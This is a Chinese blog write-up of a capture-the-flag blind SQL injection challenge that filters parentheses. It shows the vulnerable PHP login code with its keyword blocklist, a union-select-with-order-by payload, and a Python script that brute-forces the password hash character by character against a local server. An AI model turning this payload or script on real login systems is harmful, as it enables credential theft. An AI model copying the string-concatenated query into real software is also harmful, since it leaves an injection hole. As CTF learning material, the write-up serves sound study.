CTF中过滤括号的盲注题小记

【说在前面的话:这是我做的第一个过滤了括号的盲注题目,看着论坛里很多人都有打CTF,就发出来一起交流一下,还望大神轻喷。文章本来应该归类到CTF的,可惜我发帖数量不够,访问不了。如果发帖不正确也请跟我练习,我会按照要求改动】

解题过程:

题目的代码:

<?php 
// auth:“蓝鲸塔主”
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "root";
$db = "test";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");

/* sql

create  table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function   filter($str){
    $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
    if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
    }
    return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where  username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
    $row = $res -> fetch_assoc();
    if($row['id']){
        echo $row['username'];
    }
}else{
    echo "The content in the password column is the flag!";
}
?>

当然这题目不是直接了当地给出代码,而是还有一些前奏,但是和本次要记录的内容无关就省略了。
对给出的代码做审计,发现在最后的内容是:如果查询有结果就显示结果中的username,如果没有就显示最后一行代码。
如果在没有fileter的情况下,可以用union的方法变相取出password。但是在filter中过滤了username和password,所以这里就不能用常规的联合查询或者报错注入,只能用常规的盲注。可是大部分的盲注是需要括号的,但是这里的代码又过滤了括号。
在网上找了一下,发现了union select加上order by的方法:

select * from admin where username='admin' and password='' or 1 union select 1,2,'%s' from admin order by 3 #'

在本地自己搭建环境测试一下:
 



(上图是自己添加的测试数据)
猜测第一个数据:
 



 



 



 




猜测第二个数据:

 



 



 




这里不难看到一个规律,如果猜测的字符如果大于实际字符,那么结果会把实际的结果显示在第一行,否则显示在第二行
基于这个现象,对题目进行尝试:

 



 




这里看到的情况跟我们测试的情况一样,所以正确的字符应该是首次出现“whaleadmin”的上一个字符。
所以我这里写了个py脚本:

 

import requests

url = "http://127.0.0.1/index.php"

alist = "0123456789abcdef"

payload = ""
payload1 = "' or 1 union select 1,2,'"
payload2 = "' from admin order by 3 #"


datas = {"username":"1","password":""}

tmp_OK = ""
tmp = ""
for j in range(0,32):
    for i in alist:
        payload = payload1+tmp_OK+i+payload2
        datas["password"] = payload
        #print datas
        r = requests.post(url=url,data=datas)
        #print r.text
        if "whaleadmin" in r.text:
            tmp_OK += tmp
            print tmp_OK
            break
        if ("2" in r.text) and (i == "f"):
            tmp_OK += i
            print tmp_OK
        tmp = i

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值